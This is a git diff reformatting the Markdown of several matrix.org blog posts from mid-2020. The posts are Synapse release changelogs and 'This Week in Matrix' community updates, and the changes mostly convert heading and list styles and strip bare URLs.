b/content/blog/2020/07/2020-07-30-synapse-1-18-0-released.md index 7d1e8b034..3cb22dc15 100644 --- a/content/blog/2020/07/2020-07-30-synapse-1-18-0-released.md +++ b/content/blog/2020/07/2020-07-30-synapse-1-18-0-released.md @@ -14,40 +14,30 @@ The most important thing to know about 1.18.0 is that it contains support for sh Aside from that, we have new admin API support to list the users in a room, support for oEmbed for media previews (you can unfurl tweets again!) and a general slew of federation bug fixes. -Get the new releases from any of the usual sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. 1.18.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.18.0). +Get the new releases from any of the usual sources mentioned at . 1.18.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.18.0). Changelog for 1.18.0 follows: -Synapse 1.18.0 (2020-07-30) -=========================== +## Synapse 1.18.0 (2020-07-30) -Improved Documentation ----------------------- +### Improved Documentation - Update worker docs with latest enhancements. ([\#7969](https://github.com/matrix-org/synapse/issues/7969)) +## Synapse 1.18.0rc2 (2020-07-28) -Synapse 1.18.0rc2 (2020-07-28) -============================== - -Bugfixes --------- +### Bugfixes - Fix an `AssertionError` exception introduced in v1.18.0rc1. ([\#7876](https://github.com/matrix-org/synapse/issues/7876)) - Fix experimental support for moving typing off master when worker is restarted, which is broken in v1.18.0rc1. ([\#7967](https://github.com/matrix-org/synapse/issues/7967)) - -Internal Changes ----------------- +### Internal Changes - Further optimise queueing of inbound replication commands. ([\#7876](https://github.com/matrix-org/synapse/issues/7876)) +## Synapse 1.18.0rc1 (2020-07-27) -Synapse 1.18.0rc1 (2020-07-27) -============================== - -Features --------- +### Features - Include room states on invite events that are sent to application services. Contributed by @Sorunome. ([\#6455](https://github.com/matrix-org/synapse/issues/6455)) - Add delete room admin endpoint (`POST /_synapse/admin/v1/rooms//delete`). Contributed by @dklimpel. ([\#7613](https://github.com/matrix-org/synapse/issues/7613), [\#7953](https://github.com/matrix-org/synapse/issues/7953)) @@ -64,9 +54,7 @@ Features - Abort federation requests where the client disconnects before the ratelimiter expires. ([\#7930](https://github.com/matrix-org/synapse/issues/7930)) - Cache responses to `/_matrix/federation/v1/state_ids` to reduce duplicated work. ([\#7931](https://github.com/matrix-org/synapse/issues/7931)) - -Bugfixes --------- +### Bugfixes - Fix detection of out of sync remote device lists when receiving events from remote users. ([\#7815](https://github.com/matrix-org/synapse/issues/7815)) - Fix bug where Synapse fails to process an incoming event over federation if the server is missing too much of the event's auth chain. ([\#7817](https://github.com/matrix-org/synapse/issues/7817)) @@ -81,31 +69,23 @@ Bugfixes - Fix "TypeError in `synapse.notifier`" exceptions. ([\#7880](https://github.com/matrix-org/synapse/issues/7880)) - Fix deprecation warning due to invalid escape sequences. ([\#7895](https://github.com/matrix-org/synapse/issues/7895)) - -Updates to the Docker image ---------------------------- +### Updates to the Docker image - Base docker image on Debian Buster rather than Alpine Linux. Contributed by @maquis196. ([\#7839](https://github.com/matrix-org/synapse/issues/7839)) - -Improved Documentation ----------------------- +### Improved Documentation - Provide instructions on using `register_new_matrix_user` via docker. ([\#7885](https://github.com/matrix-org/synapse/issues/7885)) - Change the sample config postgres user section to use `synapse_user` instead of `synapse` to align with the documentation. ([\#7889](https://github.com/matrix-org/synapse/issues/7889)) - Reorder database paragraphs to promote postgres over sqlite. ([\#7933](https://github.com/matrix-org/synapse/issues/7933)) - Update the dates of ACME v1's end of life in [`ACME.md`](https://github.com/matrix-org/synapse/blob/master/docs/ACME.md). ([\#7934](https://github.com/matrix-org/synapse/issues/7934)) - -Deprecations and Removals -------------------------- +### Deprecations and Removals - Remove unused `synapse_replication_tcp_resource_invalidate_cache` prometheus metric. ([\#7878](https://github.com/matrix-org/synapse/issues/7878)) - Remove Ubuntu Eoan from the list of `.deb` packages that we build as it is now end-of-life. Contributed by @gary-kim. ([\#7888](https://github.com/matrix-org/synapse/issues/7888)) - -Internal Changes ----------------- +### Internal Changes - Switch parts of the codebase from `simplejson` to the standard library `json`. ([\#7802](https://github.com/matrix-org/synapse/issues/7802)) - Add type hints to the http server code and remove an unused parameter. ([\#7813](https://github.com/matrix-org/synapse/issues/7813)) @@ -134,4 +114,3 @@ Internal Changes - Add debugging to `/sync` response generation (disabled by default). ([\#7929](https://github.com/matrix-org/synapse/issues/7929)) - Update comments that refer to Deferreds for async functions. ([\#7945](https://github.com/matrix-org/synapse/issues/7945)) - Simplify error handling in federation handler. ([\#7950](https://github.com/matrix-org/synapse/issues/7950)) - diff --git a/content/blog/2020/07/2020-07-31-this-week-in-matrix-2020-07-31.md b/content/blog/2020/07/2020-07-31-this-week-in-matrix-2020-07-31.md index 9cb42a7c1..d16ea2975 100644 --- a/content/blog/2020/07/2020-07-31-this-week-in-matrix-2020-07-31.md +++ b/content/blog/2020/07/2020-07-31-this-week-in-matrix-2020-07-31.md @@ -30,7 +30,7 @@ Casual 500,000 user deployment, very nice! > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Finished FCP:** > @@ -45,7 +45,7 @@ Casual 500,000 user deployment, very nice! > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **New MSCs:** > @@ -61,7 +61,7 @@ Casual 500,000 user deployment, very nice! > * [MSC2701: Clarifying Content-Type usage in the media repo](https://github.com/matrix-org/matrix-doc/pull/2701) > * [MSC2700: Thumbnail requirements for the media repo](https://github.com/matrix-org/matrix-doc/pull/2700) > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we'll be continuing on with [MSC2674](https://github.com/matrix-org/matrix-doc/issues/2674) (aggregations pt1: relationships) and adding [MSC1544](https://github.com/matrix-org/matrix-doc/issues/1544) (QR code verification) on top. @@ -101,8 +101,8 @@ Dendrite is a next-generation homeserver written in Go > > Spec compliance is up from last week: > -> * Client-Server APIs: 51%, up from 49%. -> * Federation APIs: remains at 53%. +> * Client-Server APIs: 51%, up from 49%. +> * Federation APIs: remains at 53%. ### Conduit @@ -172,7 +172,7 @@ Conduit is a Matrix homeserver written in Rust > [NovaChat](https://nova.chat) is a new Matrix-based desktop client that aggregates all your chat networks into one app > -> #### July 31 Updates: +> #### July 31 Updates > > * New room list design, featuring collapsible 'clusters' (see gif) > @@ -181,11 +181,11 @@ Conduit is a Matrix homeserver written in Rust > > * Worked around FB Messenger bridge 'forced-logout issue' by routing traffic through proxy on Raspberry Pi at each users home > -> #### In the works... +> #### In the works > -> * Create new clusters of chats in room list, using tags +> * Create new clusters of chats in room list, using tags > -> * iMessage bridge, using jailbroken iDevice +> * iMessage bridge, using jailbroken iDevice > * Android Messages bridge > > Adding new users weekly. Sign up for the [NovaChat beta](https://nova.chat). Or send me a DM @eric:nova.chat diff --git a/content/blog/2020/08/2020-08-07-this-week-in-matrix-2020-08-07.md b/content/blog/2020/08/2020-08-07-this-week-in-matrix-2020-08-07.md index 44af1e053..32da18b5c 100644 --- a/content/blog/2020/08/2020-08-07-this-week-in-matrix-2020-08-07.md +++ b/content/blog/2020/08/2020-08-07-this-week-in-matrix-2020-08-07.md @@ -16,19 +16,23 @@ image = "https://matrix.org/blog/img/2020-08-07-ml.png" ## Dept of Spec 📜 -Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . ### MSC Status **Merged MSCs:** + * *No MSCs were merged this week.* **MSCs in Final Comment Period:** + * *No MSCs are in FCP.* **New MSCs:** + * [MSC2716: Incrementally importing history into existing rooms](https://github.com/matrix-org/matrix-doc/pull/2716) + ![](/blog/img/2020-08-07-stacked_area_chart.png) ## Dept of GSoC 🎓️ @@ -74,7 +78,7 @@ Dendrite is a next-generation homeserver written in Go > [v1.2.0](https://github.com/turt2live/matrix-media-repo/releases/tag/v1.2.0) is out now, with a bunch of bug fixes and some added features: > -> * Thumbnail support for apng and webp images (thanks Sorunome!) +> * Thumbnail support for apng and webp images (thanks Sorunome!) > > * Experimental (but pretty stable) support for Redis as a cache - instructions [here](https://github.com/turt2live/matrix-media-repo/blob/v1.2.0/docs/redis.md) > * Optional oEmbed support for things like previewing tweets - turn it on [here](https://github.com/turt2live/matrix-media-repo/blob/v1.2.0/config.sample.yaml#L343-L346) @@ -301,9 +305,9 @@ This is forked from FluffyChat: > > Hey all! I built yet another bot library. matrixbz was built with the intention of making it easy to draft matrix bots. Check out the [github](https://github.com/decentralabs/matrixbz) - I've added some examples where you can build a bot in ~10 lines of python code. matrixbz features: > -> * **Auth** - you can specify user(s) who are authorized to call commands. bot only accepts invites from those users. +> * **Auth** - you can specify user(s) who are authorized to call commands. bot only accepts invites from those users. > -> * **Cache** - you can cache results for particular command invocations. +> * **Cache** - you can cache results for particular command invocations. > > Check out the [package](https://pypi.org/project/matrixbz/). @@ -333,13 +337,13 @@ This is forked from FluffyChat: > The [Hackers on Planet Earth](https://hope.net/) conference went almost entirely self-hosted this year due to not being able to hold an in-person event, and used Matrix to go virtual! [hopeless](https://github.com/gracchus163/hopeless) was the robot-heart of the conference, providing community+room ACLs for attendees. The bot also has a bunch of other features including: > -> * configured admins sending notices to rooms -> * ability to manually and programmatically schedule announcements for scheduled events happening, like workshops or talks +> * configured admins sending notices to rooms +> * ability to manually and programmatically schedule announcements for scheduled events happening, like workshops or talks > -> * the ability for users to re-join rooms and generate invites for themselves as necessary -> * admin commands for inviting attendees and presenters without tickets +> * the ability for users to re-join rooms and generate invites for themselves as necessary +> * admin commands for inviting attendees and presenters without tickets > -> * an attempt to be friendly and solve people's common problems without a real person having to assist (surprisingly effective!) +> * an attempt to be friendly and solve people's common problems without a real person having to assist (surprisingly effective!) > > Many thanks to the [nio-template](https://github.com/anoadragon453/nio-template) for existing, otherwise this wouldn't have been possible! diff --git a/content/blog/2020/08/2020-08-17-synapse-1-19-0-released.md b/content/blog/2020/08/2020-08-17-synapse-1-19-0-released.md index 5921b821b..01d094507 100644 --- a/content/blog/2020/08/2020-08-17-synapse-1-19-0-released.md +++ b/content/blog/2020/08/2020-08-17-synapse-1-19-0-released.md @@ -17,26 +17,21 @@ Some admins will rejoice that we have added a ```/health``` end point to every c Finally 1.19.0 contains improvements to the Admin API allowing the admin to optionally purge rooms on deletion. -Get the new releases from any of the usual sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. 1.19.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.19.0). - +Get the new releases from any of the usual sources mentioned at . 1.19.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.19.0). Changelog for 1.19.0 follows: -Synapse 1.19.0 (2020-08-17) -=========================== +## Synapse 1.19.0 (2020-08-17) No significant changes since 1.19.0rc1. -Removal warning ---------------- +### Removal warning As outlined in the [previous release](https://github.com/matrix-org/synapse/releases/tag/v1.18.0), we are no longer publishing Docker images with the `-py3` tag suffix. On top of that, we have also removed the `latest-py3` tag. Please see [the announcement in the upgrade notes for 1.18.0](https://github.com/matrix-org/synapse/blob/develop/UPGRADE.rst#upgrading-to-v1180). -Synapse 1.19.0rc1 (2020-08-13) -============================== +## Synapse 1.19.0rc1 (2020-08-13) -Features --------- +### Features - Add option to allow server admins to join rooms which fail complexity checks. Contributed by @lugino-emeritus. ([\#7902](https://github.com/matrix-org/synapse/issues/7902)) - Add an option to purge room or not with delete room admin endpoint (`POST /_synapse/admin/v1/rooms//delete`). Contributed by @dklimpel. ([\#7964](https://github.com/matrix-org/synapse/issues/7964)) @@ -45,8 +40,7 @@ Features - Allow login to be blocked based on the values of SAML attributes. ([\#8052](https://github.com/matrix-org/synapse/issues/8052)) - Allow guest access to the `GET /_matrix/client/r0/rooms/{room_id}/members` endpoint, according to MSC2689. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#7314](https://github.com/matrix-org/synapse/issues/7314)) -Bugfixes --------- +### Bugfixes - Fix a bug introduced in Synapse v1.7.2 which caused inaccurate membership counts in the room directory. ([\#7977](https://github.com/matrix-org/synapse/issues/7977)) - Fix a long standing bug: 'Duplicate key value violates unique constraint "event_relations_id"' when message retention is configured. ([\#7978](https://github.com/matrix-org/synapse/issues/7978)) @@ -55,21 +49,18 @@ Bugfixes - Fix a long standing bug where HTTP HEAD requests resulted in a 400 error. ([\#7999](https://github.com/matrix-org/synapse/issues/7999)) - Fix a long-standing bug which caused two copies of some log lines to be written when synctl was used along with a MemoryHandler logger. ([\#8011](https://github.com/matrix-org/synapse/issues/8011), [\#8012](https://github.com/matrix-org/synapse/issues/8012)) -Updates to the Docker image ---------------------------- +### Updates to the Docker image - We no longer publish Docker images with the `-py3` tag suffix, as [announced in the upgrade notes](https://github.com/matrix-org/synapse/blob/develop/UPGRADE.rst#upgrading-to-v1180). ([\#8056](https://github.com/matrix-org/synapse/issues/8056)) -Improved Documentation ----------------------- +### Improved Documentation - Document how to set up a client .well-known file and fix several pieces of outdated documentation. ([\#7899](https://github.com/matrix-org/synapse/issues/7899)) - Improve workers docs. ([\#7990](https://github.com/matrix-org/synapse/issues/7990), [\#8000](https://github.com/matrix-org/synapse/issues/8000)) - Fix typo in `docs/workers.md`. ([\#7992](https://github.com/matrix-org/synapse/issues/7992)) - Add documentation for how to undo a room shutdown. ([\#7998](https://github.com/matrix-org/synapse/issues/7998), [\#8010](https://github.com/matrix-org/synapse/issues/8010)) -Internal Changes ----------------- +### Internal Changes - Reduce the amount of whitespace in JSON stored and sent in responses. Contributed by David Vo. ([\#7372](https://github.com/matrix-org/synapse/issues/7372)) - Switch to the JSON implementation from the standard library and bump the minimum version of the canonicaljson library to 1.2.0. ([\#7936](https://github.com/matrix-org/synapse/issues/7936), [\#7979](https://github.com/matrix-org/synapse/issues/7979)) diff --git a/content/blog/2020/08/2020-08-21-this-week-in-matrix-2020-08-21.md b/content/blog/2020/08/2020-08-21-this-week-in-matrix-2020-08-21.md index a7f7a8fcf..0273b2be8 100644 --- a/content/blog/2020/08/2020-08-21-this-week-in-matrix-2020-08-21.md +++ b/content/blog/2020/08/2020-08-21-this-week-in-matrix-2020-08-21.md @@ -22,7 +22,7 @@ Nico, one of the Nheko client maintainers, discusses the state of the project an > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > -> #### MSC Status +> ### MSC Status > > **Closed MSCs:** > @@ -35,14 +35,14 @@ Nico, one of the Nheko client maintainers, discusses the state of the project an > **MSCs in Final Comment Period:** > > * [MSC2033: Adding a device_id to /account/whoami](https://github.com/matrix-org/matrix-doc/pull/2033) -> * Accidentally merged on github, [#2738](https://github.com/matrix-org/matrix-doc/pull/2738) opened to re-merge after FCP ends +> * Accidentally merged on github, [#2738](https://github.com/matrix-org/matrix-doc/pull/2738) opened to re-merge after FCP ends > > **New MSCs:** > > * [\[WIP\] MSC2745 : Add hCaptcha as captcha provider](https://github.com/matrix-org/matrix-doc/pull/2745) > * [MSC2732: Olm fallback keys](https://github.com/matrix-org/matrix-doc/pull/2732) > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, [MSC1960](https://github.com/matrix-org/matrix-doc/pull/1960) will be the only one on the list. The two MSCs from last time will be put aside for this week while we focus on implementation. @@ -126,7 +126,7 @@ Conduit is a Matrix homeserver written in Rust ![2020-08-21-u40Ex-Screenshot2020-08-21at15.08.51.png](/blog/img/2020-08-21-u40Ex-Screenshot2020-08-21at15.08.51.png) > On the sharding side the last big milestone is to get the event persister to shard. I know this comes up every week, but we now have a rough working implementation for non-backfilled events. Next steps are to get backfill working, get the tests passing, go through review and then ship. I asked Erik if it would be live on matrix.org within 2 weeks. He didn’t say, at least I didn’t hear him say no…> -> Aside from that Rich is working on the push rules redesign, the next steps are to design the APIs in more detail and then make a formal spec proposal. Brendan is also in notifications land and his work on room unread counts is going through final review. +> Aside from that Rich is working on the push rules redesign, the next steps are to design the APIs in more detail and then make a formal spec proposal. Brendan is also in notifications land and his work on room unread counts is going through final review. > > Finally, Andrew has been working with Sorunome to dust off the knock feature, both on the spec and [the Synapse side](https://github.com/matrix-org/synapse/pull/6739). @@ -138,7 +138,7 @@ Conduit is a Matrix homeserver written in Rust > > The results are very interesting: > -> ``` +> ```txt > Synapse: > > timo neilalexander Half-Shot @@ -271,21 +271,21 @@ later, fidèle à sa parole: > * Released 1.7.4 > -> * Updated various links and strings for the new brand -> * Renewed Windows code signing cert +> * Updated various links and strings for the new brand +> * Renewed Windows code signing cert > -> * Removed rebranding toast -> * All cross-signing keys now shared with other devices during verification +> * Removed rebranding toast +> * All cross-signing keys now shared with other devices during verification > > * This week > -> * Mode to require secure backup during registration -> * Continue work on deferred cross-signing setup +> * Mode to require secure backup during registration +> * Continue work on deferred cross-signing setup > -> * Light weight Hydrogen client continues, adding key features and design tweaks -> * Notifications continues in background while push rules evolve +> * Light weight Hydrogen client continues, adding key features and design tweaks +> * Notifications continues in background while push rules evolve > -> * Matrix.to link previews in progress +> * Matrix.to link previews in progress ### Hydrogen @@ -296,14 +296,14 @@ Anyone who wants to discuss Hydrogen can join [#hydrogen:matrix.org](https://mat > Added several features this week: > -> * avatars and display names in the timeline and for rooms -> * implemented the logic for the member list, but no UI for this yet +> * avatars and display names in the timeline and for rooms +> * implemented the logic for the member list, but no UI for this yet > -> * room list sorting by last message timestamp, unread state and badge count -> * clear unread state when reading a room +> * room list sorting by last message timestamp, unread state and badge count +> * clear unread state when reading a room > -> * some visual tweaks in the timeline and room list -> * bug fixes +> * some visual tweaks in the timeline and room list +> * bug fixes > > If you have checked out hydrogen before, **you'll need to clear your session** (the little clear button in the session picker) to get correct avatars and display names everywhere. > @@ -316,129 +316,129 @@ Anyone who wants to discuss Hydrogen can join [#hydrogen:matrix.org](https://mat [miruka](https://matrix.to/#/@miruka:privacytools.io) hit us with a late breaking update about Mirage! > Mirage 0.6.1 was released today: -> +> > #### Added -> -> - **SSO authentication** support -> -> - **Homeserver browser**: -> - To add a new account, you will be asked first to pick one of the -> listed public server (list data from [anchel.nl](https://publiclist.anchel.nl/)) or to manually enter a server address - -> - Typing in the server address field will also filter the public server list, +> +> * **SSO authentication** support +> +> * **Homeserver browser**: +> * To add a new account, you will be asked first to pick one of the +> listed public server (list data from [anchel.nl](https://publiclist.anchel.nl/)) or to manually enter a server address +> +> * Typing in the server address field will also filter the public server list, > Up/Down or (Shift+)Tab and Enter can be used to navigate it by keyboard -> -> - If the address doesn't have a `scheme://`, auto-detect whether the server +> +> * If the address doesn't have a `scheme://`, auto-detect whether the server > supports HTTPS or only HTTP -> -> - Use the .well-known API if possible to resolve domains to the actual -> homeserver's URL, e.g. `matrix.org` resolves to +> +> * Use the .well-known API if possible to resolve domains to the actual +> homeserver's URL, e.g. `matrix.org` resolves to > `https://matrix-client.matrix.org` -> -> - The server address field will remember the last homeserver that was +> +> * The server address field will remember the last homeserver that was > connected to -> -> - **Room members autocompletion**: -> - Type `@` followed by one or more characters in the composer, +> +> * **Room members autocompletion**: +> * Type `@` followed by one or more characters in the composer, > or one or more characters and hit (Shift+)Tab to trigger username/user ID > autocompletion -> -> - Only autocompleted names will be turned into mentions, unlike before -> where any word in a sent message that happened to be someone's name would +> +> * Only autocompleted names will be turned into mentions, unlike before +> where any word in a sent message that happened to be someone's name would > mention them -> -> - **Full image viewer** for matrix image messages and URL previews: -> - Click on a thumbnail in the timeline to open the image viewer -> -> - Middle click on a thumbnail (or use the option in the context menu) +> +> * **Full image viewer** for matrix image messages and URL previews: +> * Click on a thumbnail in the timeline to open the image viewer +> +> * Middle click on a thumbnail (or use the option in the context menu) > to open the image externally -> -> - Left click on the image (mouse only): expand to window size if the -> image's origin size is smaller than the window, +> +> * Left click on the image (mouse only): expand to window size if the +> image's origin size is smaller than the window, > else expand to original size -> -> - Tap on the image (touch screen/pen only): reveal the info and button bars -> when auto-hidden (bars will auto-hide only when they overlap with a big +> +> * Tap on the image (touch screen/pen only): reveal the info and button bars +> when auto-hidden (bars will auto-hide only when they overlap with a big > enough displayed image) -> -> - Any mouse movement: reveal auto-hidden bars -> - Double click on the image: toggle full screen -> - Middle click anywhere: open externally -> - Right click anywhere: close the viewer, back to chat -> - Drag when displayed image is bigger than window to pan -> - Wheel to pan up/down, hold shift or alt to pan left/right -> - Ctrl+wheel to control zoom -> - Buttons to control rotation, scale mode, full screen, GIF play/pause +> +> * Any mouse movement: reveal auto-hidden bars +> * Double click on the image: toggle full screen +> * Middle click anywhere: open externally +> * Right click anywhere: close the viewer, back to chat +> * Drag when displayed image is bigger than window to pan +> * Wheel to pan up/down, hold shift or alt to pan left/right +> * Ctrl+wheel to control zoom +> * Buttons to control rotation, scale mode, full screen, GIF play/pause > and GIF speed -> -> - New keyboard shortcuts are available for all these actions, -> see `keys.imageViewer` in the config file (will be automatically updated +> +> * New keyboard shortcuts are available for all these actions, +> see `keys.imageViewer` in the config file (will be automatically updated > when you start Mirage 0.6.1) -> -> - Add `media.openExternallyOnClick` setting to swap the new -> click and middle click on thumbnails behavior -> -> - Room and member filter fields now support (Shift+)Tab navigation, in addition +> +> * Add `media.openExternallyOnClick` setting to swap the new +> click and middle click on thumbnails behavior +> +> * Room and member filter fields now support (Shift+)Tab navigation, in addition > to Up/Down -> -> - Add a colored left border to the currently highlighted item in list views -> (e.g. room list, members list, etc) to improve visibility -> -> - Themes: -> - Add `controls.listView.highlightBorder` and +> +> * Add a colored left border to the currently highlighted item in list views +> (e.g. room list, members list, etc) to improve visibility +> +> * Themes: +> * Add `controls.listView.highlightBorder` and > `controls.listView.highlightBorderThickness` properties (can be set to `0`) -> - Add the `chat.userAutoCompletion` section -> +> * Add the `chat.userAutoCompletion` section +> > #### Changed -> -> - Messages context menu: -> - Use a cleaner icon for the "Copy text" entry -> -> - Replace the confusing broken "Copy media address" entry with: -> - Copy media address: visible for non-encrypted media, always +> +> * Messages context menu: +> * Use a cleaner icon for the "Copy text" entry +> +> * Replace the confusing broken "Copy media address" entry with: +> * Copy media address: visible for non-encrypted media, always > copies the HTTP URL -> -> - Copy local path: always visible for already downloaded media, even if +> +> * Copy local path: always visible for already downloaded media, even if > they were downloaded before mirage was started -> -> - The `openMessagesLinks` keybind (default Ctrl+O) is renamed to +> +> * The `openMessagesLinks` keybind (default Ctrl+O) is renamed to > `openMessagesLinksOrFiles` and can now also open media message files -> -> - Using the `openMessagesLinksOrFiles` keybind on a reply will now ignore the +> +> * Using the `openMessagesLinksOrFiles` keybind on a reply will now ignore the > matrix.to links contained in the "In reply to XYZ" header -> -> - Pressing Ctrl+C to copy selected/highlighted non-encrypted media messages +> +> * Pressing Ctrl+C to copy selected/highlighted non-encrypted media messages > will copy their HTTP URL instead of the filename -> -> - Retry downloading image thumbnails if they fail with a 404 or 500+ server -> error (uploads sometimes take a few seconds to become available on the +> +> * Retry downloading image thumbnails if they fail with a 404 or 500+ server +> error (uploads sometimes take a few seconds to become available on the > server) -> -> - Non-encrypted media messages are now always downloaded on click and opened +> +> * Non-encrypted media messages are now always downloaded on click and opened > with a desktop application (or the image viewer), instead of > being opened in a browser -> -> - Compress thumbnails and clipboard images in a separate process, to avoid +> +> * Compress thumbnails and clipboard images in a separate process, to avoid > blocking every other backend operation while the compression is running -> -> - Reduce the level of optimization applied to clipboard images, +> +> * Reduce the level of optimization applied to clipboard images, > the previous setting was too slow for large PNG (10MB+) -> -> - Increase applied scrolling velocity when using the +> +> * Increase applied scrolling velocity when using the > `scrollPageUp`/`scrollPageDown` keybinds, now similar to how it was before > Mirage 0.6.0 -> -> - Don't catch SIGQUIT (Ctrl+\\ in terminal) and SIGTERM signals, exit immediately -> -> - Slightly increase the top/bottom padding to the multi-account bar in the +> +> * Don't catch SIGQUIT (Ctrl+\\ in terminal) and SIGTERM signals, exit immediately +> +> * Slightly increase the top/bottom padding to the multi-account bar in the > left pane -> -> - Dependencies: minimum nio version bumped to 0.15.0 -> +> +> * Dependencies: minimum nio version bumped to 0.15.0 +> > #### Removed -> -> - Themes: remove unused `controls.listView.smallPaneHighlight` property -> +> +> * Themes: remove unused `controls.listView.smallPaneHighlight` property +> > And lots of fixes, see [full changelog](https://github.com/mirukana/mirage/releases/tag/v0.6.1) ![Mirage](/blog/img/2020-08-21-mirage.png) @@ -458,7 +458,7 @@ Anyone who wants to discuss Hydrogen can join [#hydrogen:matrix.org](https://mat > * Started requiring strong types for event-sending endpoints > * Augmented error types with error-specific fields (see the [livestream here](https://www.twitch.tv/videos/713341462?t=00h35m42s)) > -> Speaking of livestreams, @jplatte streams coding sessions from time to time on [Twitch](https://twitch.tv/jplatte). If you're interested in watching some coding streams to get more familiar with the Ruma codebase or learn Rust in general, follow us at [[#ruma-livestreams:matrix.org](https://matrix.to/#/#ruma-livestreams:matrix.org)](https://matrix.to/#/[#ruma-livestreams:matrix.org](https://matrix.to/#/#ruma-livestreams:matrix.org))! +> Speaking of livestreams, @jplatte streams coding sessions from time to time on [Twitch](https://twitch.tv/jplatte). If you're interested in watching some coding streams to get more familiar with the Ruma codebase or learn Rust in general, follow us at [[#ruma-livestreams:matrix.org](https://matrix.to/#/#ruma-livestreams:matrix.org)](]())! Very impressed that these features are landing in Ruma first, with the intention of getting them into Conduit. diff --git a/content/blog/2020/08/2020-08-27-synapse-1-19-1-released.md b/content/blog/2020/08/2020-08-27-synapse-1-19-1-released.md index 302757d3e..320cf3940 100644 --- a/content/blog/2020/08/2020-08-27-synapse-1-19-1-released.md +++ b/content/blog/2020/08/2020-08-27-synapse-1-19-1-released.md @@ -18,20 +18,17 @@ The second one prevented profile updates from being correctly propagated across Sorry if you have been bitten! -Get 1.19.1 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.19.1) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. +Get 1.19.1 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.19.1) or any of the sources mentioned at . Changelog since v1.19.0 -Synapse 1.19.1 (2020-08-27) -=========================== +## Synapse 1.19.1 (2020-08-27) No significant changes. -Synapse 1.19.1rc1 (2020-08-25) -============================== +## Synapse 1.19.1rc1 (2020-08-25) -Bugfixes --------- +### Bugfixes - Fix a bug introduced in v1.19.0 where appservices with ratelimiting disabled would still be ratelimited when joining rooms. ([\#8139](https://github.com/matrix-org/synapse/issues/8139)) - Fix a bug introduced in v1.19.0 that would cause e.g. profile updates to fail due to incorrect application of rate limits on join requests. ([\#8153](https://github.com/matrix-org/synapse/issues/8153)) diff --git a/content/blog/2020/08/2020-08-28-this-week-in-matrix-2020-08-28.md b/content/blog/2020/08/2020-08-28-this-week-in-matrix-2020-08-28.md index efe85cf11..4e8183dfd 100644 --- a/content/blog/2020/08/2020-08-28-this-week-in-matrix-2020-08-28.md +++ b/content/blog/2020/08/2020-08-28-this-week-in-matrix-2020-08-28.md @@ -20,7 +20,7 @@ image = "https://matrix.org/blog/img/2020-08-28-ml.png" > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -33,19 +33,18 @@ image = "https://matrix.org/blog/img/2020-08-28-ml.png" > **New MSCs:** > > * [MSC2749: Per-user E2EE on/off setting](https://github.com/matrix-org/matrix-doc/pull/2749) -> #### Spec Core Team +> +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we're taking off [MSC2674](https://github.com/matrix-org/matrix-doc/issues/2674) and [MSC1544](https://github.com/matrix-org/matrix-doc/issues/1544) while the author works through feedback, and instead looking at getting widgets in line. > > The spec for widgets has so far lived on a collaborative document that hasn't been updated in some time. As a result multiple, separate implementations have sprouted. We'd like to nail this down. So the focus for this week will be: [MSC1960](https://github.com/matrix-org/matrix-doc/pull/1960) (widget auth mechanics) and [MSC1236](https://github.com/matrix-org/matrix-doc/issues/1236) (general widgets). - - ![2020-08-28-MSnEZ-stacked_area_chart.png](/blog/img/2020-08-28-MSnEZ-stacked_area_chart.png) ## Dept of GSoC 🎓️ -The coding phase of [Google Summer of Code is over](https://summerofcode.withgoogle.com/dashboard/timeline/)! That said there is still a bunch of stuff to do, code is still appearing and we're now entering the time of *many forms to fill in* in order for people to get paid. +The coding phase of [Google Summer of Code is over](https://summerofcode.withgoogle.com/dashboard/timeline/)! That said there is still a bunch of stuff to do, code is still appearing and we're now entering the time of _many forms to fill in_ in order for people to get paid. A little pre-emptive, but wow it's been a good summer! SIX students, all did well! @@ -134,7 +133,7 @@ Conduit is a Matrix homeserver written in Rust > > * Send correct device list changes when leaving and joining e2ee rooms > -> Also check out our new website (https://conduit.rs) if you haven't already. +> Also check out our new website () if you haven't already. > > Thanks to everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or Bitcoin! @@ -150,7 +149,7 @@ Conduit is a Matrix homeserver written in Rust > > Brendan and Rich are continuing to work on the Notifications rewrite, with Brendan finishing up unread counts, and Rich polishing up designs for the new replacement for push rules. > -> Andrew (*who dat? - ed.*) is continuing to work on the [knocking MSC](https://github.com/matrix-org/matrix-doc/pull/2403) and has fleshed out the CS and SS details. There are still some open questions though, so please give feedback if you notice anything off! +> Andrew (_who dat? - ed._) is continuing to work on the [knocking MSC](https://github.com/matrix-org/matrix-doc/pull/2403) and has fleshed out the CS and SS details. There are still some open questions though, so please give feedback if you notice anything off! > > Finally, Olivier has been working on making sure you get your missed messages when your homeserver has been offline for a while, as well as various Sygnal fixes and matrix-synapse-ldap3. > @@ -270,7 +269,7 @@ What a great use of workers! The possibilities for this are really impressive... > > * Auto-focus the "Forget" button on left room pages > -> * Themes: modify `chat.message.styleSheet` to add some spacing between HTML +> * 